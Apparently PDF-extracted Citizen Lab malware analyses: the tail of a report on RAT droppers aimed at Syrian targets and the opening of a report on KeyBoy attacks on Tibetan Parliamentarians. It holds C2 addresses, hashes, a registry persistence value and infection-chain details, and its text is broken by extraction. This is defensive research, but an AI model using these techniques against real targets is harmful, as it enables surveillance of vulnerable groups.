PowerPoint document uses the same weaponization method described above with respect to Dropper Doc +1. The executable is embedded as an OLE package object, and subsequently executed using animation actions within +the PowerPoint slideshow. +32/48 +Figure 24: The malicious OLE Package, visible when editing the PPSX +As with Dropper Doc 1, activation of the OLE Package object saves the embedded executable to disk as +%TEMP%\putty.exe, then executes it. This file is a .Net application employing the same layers and methods of packing +and crypting as seen in the payloads delivered by Dropper Docs 1 and 2. However, the ultimate malware payload in this +case is njRat, another well-known RAT tool. +After unpacking the OLE embedded executable putty.exe, we again arrive at a decrypting stub file which will AES decrypt +a base64 string variable and run it from memory. The hashes of this file are: +SHA256 +6161083021b695814434450c1882f9f3 +d72676bbf8de82486c3cebfdad2961cc68a6b564a43f9f987c95320fcd6a330a +Similar to the case of Dropper Doc 1 above, we find a PDB entry present in the decrypting stub executable: +C:\Users\mr.tekide\Documents\Visual Studio +2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb +Again we can observe the same username of +mr.tekide + in the project source code path within the PDB string. Further, +we note the development path components paccrypt11njratmalii and paccryptalipnahzade. +To obtain the malicious njRat executable from this decrypting stub we used the same .Net program we built for use in the +Dropper Doc 1 example above. The resulting njRat binary had the following hashes: +33/48 +SHA256 +b4121c3a1892332402000ef0d587c0ee +1a287331e2bfb4df9cfe2dab1b77c9b5522e923e52998a2b1934ed8a8e52f3a8 +Interestingly, the njRat executable appears to have been compiled from source by the same user who compiled the +crypter described above. Note the PDB strings found inside the njRat executable: +C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\njrat7stubsoures +Copy\njrat7stubsoures\obj\Debug\dvvm.pdb +A quick look at the configuration data embedded within this njRat binary reveals the command and control IP address and +port: +Figure 25: The njRAT configuration, showing the C2 and port. +Decoy Dropper 4 +alshohadaa alatfal.exe +34/48 +MD5: 2FC276E1C06C3C78C6D7B66A141213BE +This file is a .Net application designed to act as a decoy by displaying a window depicting images of dead children (see +Figure: 5). While displaying these images, the decoy application also silently extracts an executable file from the .Net +assembly +s resource section, copies it to %TEMP%\dvm.exe, and then launches a new process from this newly created +file. See Figure 26 below: +Figure 26: Malware dropping code inside the Decoy application +The dropper also includes a PDB reference: +C:\users\enterok\desktop\slideshow\slideshow\obj\x86\debug\alshohadaa alatfal.pdb +The dvm.exe file is itself a .Net executable which is packed using the same .Net packer used above in the cases of +Dropper Docs 1 + 3. Once unpacked, the resulting file is the same crypted .Net application analysed above from Dropper +Doc 3, having MD5 hash 6161083021b695814434450c1882f9f3, and containing the njRat payload. +Malware Infrastructure +Command and Control Server +Each of the three distinct RAT tools used by Group5 (njRAT, NanoCore RAT, and DroidJack) were configured to +communicate with a single command and control server operating on IP address 88.198.222[.]163. +Reverse DNS PTR +Assignee +88.198.222[.]163 +static.88-198-222-163.clients.your-server.de +HETZNER-RZ-NBG-BLK4 +Hetzner Online GmbH +This server was the sole point of data exfiltration for each of the malware components. As detailed above for njRAT and +NanoCore, and below in Appendix B for DroidJack, the TCP ports used for command and control for each of the RAT +tools were as follows: +35/48 +Figure 27: RAT ports on the +C2 server +Additionally, we believe a +controller for yet another +remote access trojan, +XpertRAT, was also hosted +on this IP in November 2015; +however, we did not uncover +any samples designed to +communicate with this +XpertRAT controller. +As noted in the above table, +the IP address +88.198.222[.]163 is assigned +to Hetzner Online, a +Germany based web hosting +provider. Hetzner offers web hosting services as well as virtual and dedicated server rentals. Contact was made with +Hetzner technical personnel subsequent to the discovery of the malicious activity outlined in this report. A synopsis of this +contact is provided in Appendix F: Notification. +Current data available for this IP address suggests that it was likely reprovisioned to a different Hetzner customer in early +February 2016 at the latest, and then possibly again in May. A series of domain names associated with online multi-player +games were directed to this Hetzner IP, one of which was apparently hosting a malicious HTML document. +Assadcrimes Web Hosting +The assadcrimes[.]info domain name was registered in June 2015, but it remained parked until early October, at which +time it was migrated to an Iran-based shared web hosting provider named Hostnegar. This action coincided with the +delivery of the initial e-mails outlined in Part 1. +The assadcrimes[.]info website was hosted on a shared hosting platform, and as such the IP address associated was +also shared by a significant number of other, unrelated, websites. +Reverse DNS PTR +212.7.195[.]171 +server22.rayanegarco[.]com +Headers from the initial e-mail are shown below in Figure 28. These headers indicate that the initial e-mail was most likely +sent using the Horde webmail application running on the web hosting server. Furthermore, the headers indicate that the +sender was accessing the webmail application from the IP address of the command and control server discussed above. +36/48 +Figure 28: Headers from the initial e-mail +Finally, available domain name service data indicates that the assadcrimes[.]info domain name was moved back to its +original parked location on May 4, 2016. +Appendix B: Android Malware Analysis +The Malicious APK + Overall Description +37/48 +Figure 29: The malicious application is installed, and appears in the Apps tab (left), while hidden from the Apps list from +the Drawer (right) +Upon execution, the malware is installed and then hidden from the list of installed applications in order to remain covert. +38/48 +Figure 30 : The malicious app gives an error +App isn +installed + when the user tries to open the malware +before it disappears from the list. +After the installation, the Application icon will be +removed from the installed applications list, yet it will +still be running in the background. +The APK package in question had the following +characteristics: +Adobe_Flash_Player.apk +MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D +This APK is an instance of DroidJack. According to +Symantec, this application evolved from an older +codebase known as SandroRAT. +The discovered APK sample also contains references +to both names, as shown in Figure 31 below: +Figure 31: References to both DroidJack and +SandroRat as seen in the source code +The APK Manifest file reveals important information +about the sample +s capabilities and the intentions of +its operator. The Android operating system requires +information from the Manifest file before the +application can execute. This application will request +the following permissions and use the following +features from the device: +Figure 32: screenshot from Manifest file with the +requested permissions for the APK +In the Android system, Activities are components typically used to let the user of the device perform an action. The Main +Activity is also defined in the Manifest, pictured in Figure 33. +Figure 33: Main activity defined in the manifest +In this case, the Main Activity is designed to start the Controller as a Service and finish. The controller will be discussed in +more detail in the next section. +Android applications can also have Services and Receivers defined. Services are used for background operations while +Receivers define the types of broadcast messages the application can receive from other applications as well as the +device. These messages are known as Intents. +This APK sample enables several services including +Controller, +GPSLocation + and +Toaster + (See Figure 34). +39/48 +Figure 34: +Services +enabled by +the APK +The Controller class, referred to by the Main Activity and started as a service on the device, handles the malware +operator +s interaction with the application while the GPSLocation class is responsible for obtaining the GPS position from +the device +s LocationManager. The Toaster class is not implemented in this APK; however, it is implemented in older +SandroRAT samples. +The APK file has several Receiver classes defined to handle specific messages from the device (See Figure 35). +40/48 +Figure 35: Defined +receiver classes +Receiver +Intent +Usage +Connectivity +Change +Allows the application to monitor any connectivity changes, including moving between mobile data and +Wi-Fi. The constant value is set every time a change occurs. +Boot +Completed +Allows the application to re-connect when the device restarts. The constant value is broadcast when the +device finishes booting. +Phone State +Allows the application to monitor incoming calls. The constant value is set when the call state is +changed. +The Connector Receiver simply starts the Controller Service when the phone boots allowing the malware to run in the +background upon start up. +The CallListener Receiver allows the operator to log when the target makes calls, and record calls (if the operator has +enabled it) as an .amr file that can then be sent to the command and control server. +Lastly, in the Manifest file, the Application enables two additional Activities, +CAMSNAP + and +VIDEOCAP, + as shown in +Figure 36. +Figure 36: Activities +enabling camera and +video capture +These allow the +operator to use the +infected device +camera to take pictures +and record video. This +activity is hidden from +the victim using a +translucent theme. +The Malicious APK + The Controller +As previously mentioned, the Controller class is ultimately responsible for the rest of the functionality. The instance we +analyzed was configured to use the same host as the Windows malware for command and control communication: +88.198.222[.]163. +41/48 +Figure 37: DroidJack configuration showing that it shares a +host with the other Group5 malware +We were able to install a test instance to learn how the +malware +s operator could surveil victims. It is clear that the +operator would have nearly full access to the victim +information. +Features offered include: +File browsing +SMS and call logging +Contacts +Browser history +Application Manager +Location history +WhatsApp Reader (only works on rooted devices) +Remote camera and microphone +Figure 38: DroidJack browsing WhatsApp logs for an infected device. +Some features will only work on rooted devices. For example, the ability to read WhatsApp messages requires the victim +device to be rooted. Android apps are unable to access the data from other applications unless they are signed with the +same certificate or if the app has been given permission to execute commands as root. If DroidJack is able to acquire root +access it can then upload the database on the device where WhatsApp stores its message history. +42/48 +Appendix C: Mr. Tekide +This appendix provides more context on Mr. Tekide, first delving into how we have identified his crypter (PAC Crypt) in +strings in the binaries, and second highlighting the results of open source searching for his aliases and related strings. +Sample Correlation With PDB Strings +In the Group5 malware samples, we have several PDB file references that suggest that the crypter used with the two +distinct RAT tools (njRat and NanoCore) was Mr. Tekide +PAC Crypt +. For the njRat sample from Dropper Doc 3, we can +see the malware stub was compiled by +mr.tekide + as well. +Reference: Doc Dropper 1 Crypter +MD5: a4f1f4921bb11ff9d22fad89b19b155d +Compile Time: 9/30/2015 00:02:51 +c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani vds\windowsapplication2\obj\debug\launch manager.pdb +Reference: Doc Dropper 3 Crypter +MD5:6161083021b695814434450c1882f9f3 +Compile Time: 10/6/2015 02:13:45 +C:\Users\mr.tekide\Documents\Visual Studio +2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb +Reference: Doc Dropper 3 njRat +Payload +MD5:b4121c3a1892332402000ef0d587c0ee +Compile Time: 10/6/2015 +01:23:31 +C:\Users\mr.tekide\Documents\Visual Studio 2013\Projects\njrat7stubsoures +Copy\njrat7stubsoures\obj\Debug\dvvm.pdb +The Visual Studio project folders listed above suggest the particular version of PAC Crypt compiled by Mr. Tekide was +being prepared in one case for an njRat payload, and another for a NanoCore payload. The strings +dehgani +malii +and +alipnahzade + may have additional significance or relevance. +We conducted searches across online malware repositories and analysis services (such as VirusTotal, Malwr, and +TotalHash) in an effort to acquire additional data relating to the use of PAC Crypt. These searches revealed very little in +relation to PAC Crypt specifically, so we instead examined the data for instances of +tekide + related strings found in PDB +files. +It is our hope that the data or avenue of investigation presented below may be of value to other researchers. +The results we examined contained over 200 samples which we then clustered into sets based on compile time and PDB +reference as shown in the table below: +43/48 +The following compile time / PDB references were also observed in singular instances: +Keeping in mind the limitations of reliance on compile times, we nevertheless were able to compare the noted compile +times against the first time samples appeared in common malware repositories such as VirusTotal, Malwr, and TotalHash. +44/48 +In most instances, samples began to appear in malware repositories within hours of the files being compiled. Dynamic +analysis of the samples in these sets revealed multiple different payloads and C2 configurations. For example, analysis of +the samples in Set A yielded the following payloads and configurations: +Finally, analysis of the compile times observed across the acquired samples suggest a period of activity falling in the latter +half of 2014. There are many possible explanations as to why so few samples were observed with compile times beyond +2014: conscious removal of PDB information, a change in personal circumstances, or possibly even a shift to less public +malware development activities. +Mr. Tekide on the Internet +Mr. Tekide maintains a visible profile across various malware related web forums, as well as on social media. Searches +conducted for this alias provided numerous results which reveal a consistent use of the Mr. Tekide name and avatar, as +shown in the images below. +45/48 +Figure 39: Mr. Tekide showcasing his +ashiyane crypter v.7 + on the Ashiyane forums +46/48 +Figure 40: Mr.Tekide +s administrator profile on the crypter[.]ir forums +Figure 41: PAC Crypt page on the crypter[.]ir online shop +A link found on the +Contact + page of the crypter[.]ir website led to a Facebook profile +in the name of +Pezhman Blackhat. + In addition to this Facebook profile, we also +identified a LinkedIn profile in which he refers to himself as a +crypter, + and states +that he works for the ashiyane digital security team. He also maintains an Instagram +profile. +Appendix D: File Hashes +Full Table of Binaries +File +VirusTotal (26Jul-2016) +First Sub. +on VT +Dropper Doc 1 +assadcrimes.ppsx +76F8142B4E52C671871B3DF87F10C30C +putty.exe [stage1 downloader] +366908F6C5C4F4329478D60586ECA5BC +dvm.exe [stage 2 payload] +7D898530D2E77F15F5BADCE8D7DF215E +Unpacked dvm.exe +A4F1F4921BB11FF9D22FAD89B19B155D +NanoCore RAT payload +DD5BEDD915967C5EFE00733CF7478CB4 +Dropper Doc 2 +47/48 +File +VirusTotal (26Jul-2016) +First Sub. +on VT +assadcrimes1.ppsx +F1F84EA3229DCA0CCACB7381A2F49F99 +dvm.exe +7D898530D2E77F15F5BADCE8D7DF215E +assadcrimes.info.ppsx +30BB678DB3AD0140FC33ACD9803385C3 +putty.exe +5C4EC3D93A664E4BFA1CE6286CCF0249 +Unpacked putty.exe +6161083021B695814434450C1882F9F3 +njRAT payload +B4121C3A1892332402000EF0D587C0EE +alshohadaa alatfal.exe [decoy +app] +2FC276E1C06C3C78C6D7B66A141213BE +dvm.exe [dropped by decoy app] +494BAB7FD0B42B0B14051ED9ABBD651F +14 / 55 +2-Mar-2016 +Unpacked dvm.exe +6161083021B695814434450C1882F9F3 +njRAT payload +B4121C3A1892332402000EF0D587C0EE +8EBEB3F91CDA8E985A9C61BEB8CDDE9D +23 / 53 +5-Jul-2016 +Dropper Doc 3 +Decoy Dropper 4 +Android Malicious APK +(DroidJack) +adobe_flash_player.apk +These hashes are also available via the Citizen Lab Github. +Appendix E: Email Information +Date +Sender +subject +Binary attached +03 Oct 2015 06:05:41 0700 (PDT) +office@assadcrimes.info +88.198.222.163 +assadcrimes.ppsx +04 Oct 2015 05:47:00 0700 (PDT) +office@assadcrimes.info +Re: +RoundCube +(212.7.195.171) +assadcrimes1.ppsx +Appendix F: Notification +On April 12, 2016 we contacted Hetzner via e-mail as well as their abuse form, and informed them that the server was +being used to host malware. We also provided network logs as well as a malware sample. We subsequently followed up +with two phone calls. On a telephone call, a Hetzner representative refused to investigate, stating that they would take no +investigative action before sharing the content of our complaint with the customer, who would then have 24 hours to take +action. When we suggested that this might result in the deletion of evidence, and highlighted the special nature of the +case, the representative refused any further action. +Footnotes1 Noura has given her permission for us to disclose her role in this case, and use her photograph. +2 Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0 +3 http://ashiyane[.]org/forums +4 This technique has been documented previously. +48/48 +s Parliamentary: KeyBoy and the targeting of the Tibetan +Community +citizenlab.org /2016/11/parliament-keyboy/ +By: Adam Hulcoop, Matt Brooks, Etienne Maynier, John Scott-Railton, and Masashi Crete-Nishihata +Key Findings +In this report we track a malware operation targeting members of the Tibetan Parliament over August and +October 2016. +The operation uses known and patched exploits to deliver a custom backdoor known as KeyBoy. +We analyze multiple versions of KeyBoy revealing a development cycle focused on avoiding basic antivirus +detection. +This operation is another example of a threat actor using +just enough + technical sophistication to exploit a +target. +Introduction +The Tibetan community has been targeted for over a decade by espionage operations that use malware to in +ltrate +communications and gather information. They are often targeted simultaneously with other ethnic minorities and +religious groups in China. Examples as early as 2008 document malware operations against Tibetan nongovernmental organizations (NGOs) that also targeted Falun Gong and Uyghur groups. More recently in 2016, +Arbor Networks reported on connected malware operations continuing to target these same groups, which the +Communist Party of China perceives as a threat to its power. +These types of operations have multiple components, each with their own associated costs to the operator. There is +the exploit code and malware used to gain access to systems, the infrastructure that provides command and control +to the malware operator, and the human elements + developers who create the malware, operators who deploy it, +and analysts who extract value from the stolen information. +We anticipate that operators will attempt to balance the amount of information they expect to gather with the +operational costs and risks of deploying di +erent strategies and technologies. For example, in deploying a particular +malware implant against a target the operator will balance the likelihood and cost of discovery with the perceived +value of extracting information from that target. If a toolkit is exposed inadvertently, the target may increase +defenses and the operator will have to spend more time and resources on development. +Civil society groups, due to their generally limited technical capacity and lack of security expertise and +countermeasures, shift the risk/reward ratio in ways favourable to the malware operator. For example, we have +observed frequent reuse of older (patched) exploits in malware operations against the Tibetan community. Up-todate operating systems and software would block these threats, but the operators have probably discovered through +experience that the their targets have unpatched systems and a general lack of security controls beyond antivirus +programs. The continued use of old exploits is a cost reduction strategy: since they still work, there is little need to +use more expensive exploits. +Moreover, many of the malware defenses used by the Tibetan diaspora involve individuals recognizing signs of a +malicious email, such as exhortations to open attachments. This kind of behavioral strategy pushes the operators to +change their social engineering tactics, but does not provide pressure to radically change their toolkits. This +1/25 +situation is di +erent from a technical-indicator based institutional security environment. In practice, minimal code +changes su +cient to bypass signature-based security controls such as antivirus may be all that are necessary. +This report analyzes an operation targeting members of the Tibetan Parliament. The actors used a new version of +KeyBoy, + a custom backdoor +rst disclosed by researchers at Rapid7 in June 2013. Their work outlined the +capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and +guration data. +We observed operations in August and October 2016, shortly after an order in June to demolish the Larung Gar +Buddhist Academy and days before organized protests on October 19 around the same issue. These operations +involved highly targeted email lures with repurposed content and attachments that contained an updated version of +KeyBoy. We assess that KeyBoy is the product of a development cycle that is iterated only as much as necessary to +ensure the survival of the implant against antivirus detection and basic security controls. +This report is divided into two parts: +Part 1: The Parliamentarian Operation Analyzes an operation targeting the members of the Tibetan Parliament by +repurposing legitimate content, and documents implanted with Keyboy. +Part 2: KeyBoy + Tracking Evolution Examines the KeyBoy development cycle revealing a focus on avoiding +basic antivirus detection. +To assist other researchers, we include appendices and indicators of compromise that detail the KeyBoy samples +we analyzed and provide an in-depth analysis of some features of the most recent implant. +Part 1: The Parliamentarian Operation +In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament (the +highest legislative organ of the Tibetan government in exile, formally known as Central Tibetan Administration). We +collected two emails sent to Parliamentarians that rapidly repurposed legitimate content in an attempt to entice +recipients to open malicious documents. The +rst attempt leveraged an old vulnerability in the parsing of Rich-textformat (.rtf) +les (CVE-2012-0158). The second attempt used a newer, but also patched, .rtf vulnerability +(CVE-2015-1641). Both attempts used versions of KeyBoy and shared the same command and control +infrastructure as well as other con +guration details. +Attempt 1 +On August 25, 2016, members of the Tibetan Parliament received an email with information on an upcoming +conference relevant to the Tibetan community. This email had the same subject and attachment as a legitimate +message sent to the same recipients just 15 hours prior, but in this case the attachment was crafted to exploit a +frequently targeted vulnerability in Microsoft O +ce. The accompanying malware was a backdoor implant designed +to surveil the computers of the Parliamentarians. This malicious attachment used the original, legitimate +lename as +a decoy (see: Figure 1). +This level of targeting and re-use of a legitimate document sent only hours before shows that the actors behind the +operation are closely watching the Tibetan community, and may have already compromised the communications of +one or more of the Parliamentarians. +theme of the +Document name: conference.doc +MD5: 8307e444cad98b1b59568ad2eba5f201 +2/25 +Opening the attachment (an apparently blank document) in Microsoft Word would result in the infection of the target +system with the KeyBoy implant. +The Infection Chain +The email attachment is a .rtf document containing a dropper, delivered using an exploit designed to leverage +CVE-2012-0158, a vulnerability in the way that Microsoft Word handles .rtf +les. Over the past four years, this +vulnerability has been consistently used in malware campaigns against the Tibetan community despite having been +Figure 1: Email lure containing malicious document. Note the use of letters + in an attempt to appear as + in the sender address. +patched since April 2012. +If the exploit is successful, the following infection chain (see: Figure 2) is observed on the system. +Figure 2: Process chain after exploit is successful +The +les in this infection chain are outlined below. The exploit launches an executable +dropper + component which is +responsible for placing the malware payload and its con +guration +le on disk, and +nally for launching the main +malware code. +Note that the dropper and the +nal (DLL) payload were compiled within seconds of each other. +Name: dw20.exe +256512 +Size: bytes +3/25 +09 May 2016 08:41:26 +Compile Time: UTC +MD5: 0b4d45db323f68b465ae052d3a872068 +SHA256: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49 +Purpose: dropper binary, used to install and execute the main implant +Name: wab32res.exe +Size: 46080 bytes +13 April 2008 18:30:52 +Compile Time: UTC +MD5: 8f08609e4e0b3d26814b3073a42df415 +SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d +Purpose: legitimate Microsoft Windows Address Book executable, used to load +nal payload +Name: wab32res.dll +138240 +Size: bytes +09 May 2016 08:41:05 +Compile Time: UTC +MD5: 495adb1b9777002ecfe22aaf52fcee93 +SHA256: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04 +Purpose: malware payload, launched by wab32res.exe via DLL search order hijacking +Next, the dropper places a renamed copy of the legitimate Windows Address Book executable, along with the +malware binary, wab32res.dll, in the Local Application Data directory. Notably, the dropper modi +es the +timestamps of the con +guration +le and the payload to match those of the +\Microsoft\SystemCertificates\My\ directory within the user +s Local Application Data directory. Once these +les are written to disk, the dropper starts the Windows Address Book executable which loads and executes the +malicious wab32res.dll +le via DLL search-order hijacking. +Attempt 2 +On October 11, 2016, the Tibetan Parliamentarians received an email with content repurposed from a Tibetan +activism campaign protesting the demolition of a Buddhist monastery in Tibet. The email was sent from the same +email address as the previous attempt (tibetanparliarnent[@]yahoo.com) and appears to copy content from +the Facebook page of a Tibetan NGO promoting the campaign. The message urges recipients to open an attached +.rtf +le with further details on the campaign (see: Figure 3). +urgent action larung gar buddhist +Document name: academy.rtf +MD5: 913b82ff8f090670fc6387e3a7bea12d +Opening the attachment (an apparently blank document) in Microsoft Word would, similar to the +rst attempt, result +in the infection of the target system with the KeyBoy implant. +The Infection Chain +The .rtf document attached to the malicious email was designed to exploit a more recent vulnerability: CVE-20151641. If successful, this exploit launches a newer version of the same malware used in the August attempt outlined +above, using a similar infection chain. +Name: n/a +4/25 +262144 +Size: bytes +29 September 2016 00:46:11 +Compile Time: UTC +MD5: 23d284245e53ae4fe05c517d807ffccf +SHA256: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf +Purpose:dropper binary, used to install and execute the main implant +Name: wab32res.exe +Size: 46080 bytes +13 April 2008 18:30:52 +Compile Time: UTC +MD5: 8f08609e4e0b3d26814b3073a42df415 +SHA256: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d +Purpose:legitimate Microsoft Windows Address Book executable, used to load +nal payload +Figure 3: Email lure used in second attempt +Name: wab32res.dll +143872 +Size: bytes +29 September 2016 00:21:34 +Compile Time: UTC +MD5: 087bffa8a570079948310dc9731c5709 +SHA256: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88 +Purpose:malware payload, launched by wab32res.exe via DLL search order hijacking +Local Application +As with the +rst attempt, the resulting dropper installs the malware payload into the Data +directory as wab32res.dll and subsequently launches it using the same method of DLL search-order hijacking +against the legitimate Windows Address Book executable. +A Note on Vulnerabilities +5/25 +The two .rtf vulnerabilities targeted in these exploitation attempts, CVE-2012-0158 and CVE-2015-1641, are +among a set of four .rtf vulnerabilities discussed in recent reporting from researchers at Arbor Networks. +The researchers describe the presumed existence of an exploit document +builder + designed to selectively +weaponize .rtf +les using four older, patched, vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, +and CVE-2015-1770. +The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against +not only Tibetan groups, but also others related to Hong Kong, Taiwan, and Uyghur interests. While we have not +connected the campaign targeting the Tibetan Parliamentarians to the campaigns described by Arbor, the continual +pairing of these older .rtf vulnerabilities with malware operations against the Tibetan community is noteworthy. +The Malware +The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor +discussed in 2013 by Rapid7. KeyBoy provides basic backdoor functionality, allowing the operators to select from +various capabilities used to surveil and steal information from the victim machine. +KeyBoy functionality: +Gather system information, including details of the operating system, processor, disk, memory, display, and +uptime (see: Figure 4) +Upload +les to the victim computer +Download +les from the victim computer +Browse the +le system, including gathering details about attached drives +Execute commands and applications +Launch interactive shell +These updated +versions of +KeyBoy make +use of an +encoded +guration +to store their +command and +control (C2) +information +along with other +required +settings. In both +cases, the +dropper wrote +this con +guration +le in the user +Local Application +Data directory as +Figure 4: Format strings illustrating some of the system information obtained by KeyBoy from an infected machine +win32res.dat. +After analyzing these malware samples, we were able to decode the following con +guration parameters, presented +6/25 +in Table 1 +Line +Description +First sample +Second sample +Line 1 +Identity code, used to ensure con +g was correctly decoded +9876543210 +9876543210 +Line 2 +C2 Server #1 (hostname/ip) +45.125.12[.]147 +45.125.12[.]147 +Line 3 +C2 Server #2 (hostname/ip) +103.40.102[.]233 +45.125.12[.]147 +Line 4 +C2 Server #3 (hostname/ip) +45.125.12[.]147 +45.125.12[.]147 +Line 5 +Port used with C2 Server #1 +Line 6 +Port used with C2 Server #2 +Line 7 +Port used with C2 Server #3 +Line 8 +Password for operator login +tibetwoman +tibetwoman +Line 9 +Campaign ID, transmitted to C2 during login +NNNN +NNNN +Table 1: Decoded con +guration parameters from both KeyBoy samples observed in the Parliamentarian operation +A full description of the new algorithm used by KeyBoy to decode its con +guration +le is presented in Appendix A. +Once the KeyBoy DLL has been executed, it validates that a particular string value (likely identifying the KeyBoy +version) is set in the Windows Registry. +First +sample +Second +sample +HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet +Settings\Zonemap\Ver +20160509 agewkassif +Additionally, these versions of KeyBoy ensure persistence by setting the wab32res.exe +le to be loaded upon +login via exploiting the Winlogon Shell key, which in turn loads the malicious wab32res.dll +le by the +aforementioned DLL search-order hijacking method. +Value +HKEY_CURRENT_USER\Software\Microsoft\Windows +NT\CurrentVersion\Winlogon\Shell +explorer.exe, +C:\users\\AppData\Local\wab32res.exe +The backdoor then sends a login beacon to the C2 server which, once decoded, looks like: +7/25 +USER-PC +192.168.100.101 +NNNN +2016/09/13 +16:11:56 +20160509 +These values are described as follows in Table 2: +Value from Example +Description +Data header code for initial check-in beacon +USER-PC +%computername% of victim PC +192.168.100.101 +IP address of victim PC +NNNN +Campaign ID from the KeyBoy con +guration +2016/09/13 16:11:56 Timestamp of local PC +20160509 +Internal version identi +Table 2: Descriptions of the login beacon values +This login data, as well as all other communication between backdoor and command and control server, is +transmitted using an encoding mechanism based on principles from modular arithmetic. We describe this network +communication encoding in detail in this supplementary document. +As can be seen in the login event example above, when sending data to the C2, the KeyBoy implant uses a series of +header +codes + to specify the type of data which is being transmitted, described in Table 3: +Header code +Data being transmitted +Heartbeat / Keepalive +Initial check-in beacon +System information (drive info, system speci +cations, interface info) +Data from remote commands and shell +Data relating to interactions via File Manager +Ready to initiate +le download +Ready to initiate +le upload or update +Table 3: KeyBoy header codes for sending data to the C2 server +The Infrastructure +8/25 +The command and control (C2) servers used in the Tibetan Parliament operation were extracted from the KeyBoy +guration +les: +C2 Host: 45.125.12[.]147 +Desc: Royal Network Technology Co +City: Guangzhou Country: China +No relevant data or passive DNS information was available +C2 Host: 103.40.102[.]233 +Desc: Dragon Network Int +l Co. Ltd +City: Hong Kong +Country: Hong Kong +Domain: tibetvoices[.]com +Host +First Seen: +Last Seen: +127.0.0.1 +2016-09-29 +Current as of publication +103.40.102[.]233 +2016-07-15 +2016-09-28 +112.10.117[.]47 +2016-05-25 +2016-05-26 +We uncovered very little information about the command and control (C2) infrastructure used in this operation. The +guration +les referenced hard-coded IP addresses for the C2 servers, as opposed to using domain names as +was seen in prior KeyBoy campaigns. +Passive DNS analysis revealed one domain, tibetvoices[.]com, which was brie +y pointed to one of the C2 +server IP addresses found in the KeyBoy con +guration +le used in the +rst attempt against the Parliamentarians. +This domain was created in May 2016 (around the time that the KeyBoy sample used in the +rst attempt was +compiled) and was pointed to IP address 103.40.102[.]233 from July 15 to September 28. Subsequently, this +domain was pointed to 127.0.0.1, e +ectively taking it o +ine. +This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco. Cisco +hypothesized that the actors behind KeyBoy may have been nullifying the DNS records when an active campaign +was not underway, in an attempt to stay +below the radar +. This tactic allows the malware operator to ensure that no +command and control tra +c will be sent out from the infected system, thus preventing detection via network +monitoring. +This tactic, however plausible, would not apply to the KeyBoy samples we analyzed, as the C2 con +guration relied +upon hard coded IP addresses and did not directly reference the tibetvoices[.]com domain. It is possible that a +erent campaign was launched which used this domain, but we were unable to +nd any evidence of such a +campaign. +Our analysis provides a cursory look at some of the capabilities and implementation details of the KeyBoy backdoor +as used during a malware operation targeting Tibetan Parliamentarians. These versions of KeyBoy di +ered from the +one +rst described by Rapid7 in several ways, many of which will be described in the sections to follow. +During our research into this operation we were able to uncover two additional samples of KeyBoy which were likely +used in previous malware campaigns. These samples were contained in exploit documents containing distinct lure +content, one having a Tibetan nexus, the other an Indian nexus. +9/25 +In Part 2 we present a brief overview of the observable evolution of KeyBoy based upon all of the samples we +obtained. +Part 2: KeyBoy + Tracking Evolution +Periodic updates are common in the world of software development. Features are added and removed, bugs are +patched, and code is written to execute more e +ciently. The same holds true for malicious software, but with the +additional requirement that the development cycle must always satisfy the operational need for covertness. To be +ective, malicious software designed for surveillance must remain undetected. Malware developers are in a +constant struggle to avoid the security controls that protect target systems. +We believe the 2013, 2015, and 2016 KeyBoy samples provide evidence of a development e +ort focused on +changing components that would be used by researchers to develop detection signatures. This section outlines how +we came to this conclusion. +In building our KeyBoy chronology, we collected several samples and examined three data points from each: +The compile time of the KeyBoy binary +A string observed in the KeyBoy binary we refer to as the +version identi +Elapsed time between compile time and the time of +rst exposure +Analysis of these data points gave us a moderate to high level of con +dence that the binary compile times provided +a reliable estimate of the true development timeline. +An Evolving Implant +In an e +ort to understand its evolution, we compared the code of several versions of KeyBoy as identi +ed by their +version identi + strings, shown in Table 4: +Version Identi +Notes +Proxy 20130401 +Reported by Rapid7 in relation to an Indian nexus +Proxy 20130401 +Reported by Rapid7 in relation to a Vietnamese nexus +P_20150313 +Discovered via hunting; carried Indian lure content +20151108 +Discovered via hunting; carried Tibetan lure content +20160509 +First sample of the Parliamentarian operation from August 2016 +20160509 +An alternate sample, using di +erent con +guration data +agewkassif +Second sample of the Parliamentarian operation from October 2016 +Table 4: Version identi +er strings analyzed +The +version identi + is a particular string that appeared in every KeyBoy sample we studied. It is transmitted to the +command and control server as part of the login data packet, and, in recent versions, this identi +er is written to the +Windows registry in a key named +. With the exception of the newest (chronologically speaking) KeyBoy version +we discovered, this identi +er always contained a date-like component which matched the compile date of the +10/25 +KeyBoy binary in every case. In the newest sample, the developers replaced this date-like string with a seemingly +random set of letters. +A timeline depicting these KeyBoy versions, along with some important characteristics, is shown in Figure 5. +Figure 5: The timeline of KeyBoy +s evolution +Noteworthy Modi +cations +This section describes some of the most signi +cant changes observed across the KeyBoy versions. Each of these +components would have been an ideal target for signature-based identi +cation, using either static string or network +packet-based detection mechanisms. +Header Code Evolution +Of the changes we identi +ed one stands out as being an immediate target for an e +ective antivirus signature + the +evolution of header codes used during communication between the implant and command and control server. As +shown in Table 5, these codes changed substantially after the 2013 KeyBoy samples were examined and publically +documented by Rapid7. It is reasonable to hypothesize that this signi +cant change in format was in response to the +publication of Rapid7 +s research. +2013 +Early 2015 Late 2015 +2016 +$login$ +$sysinfo$ 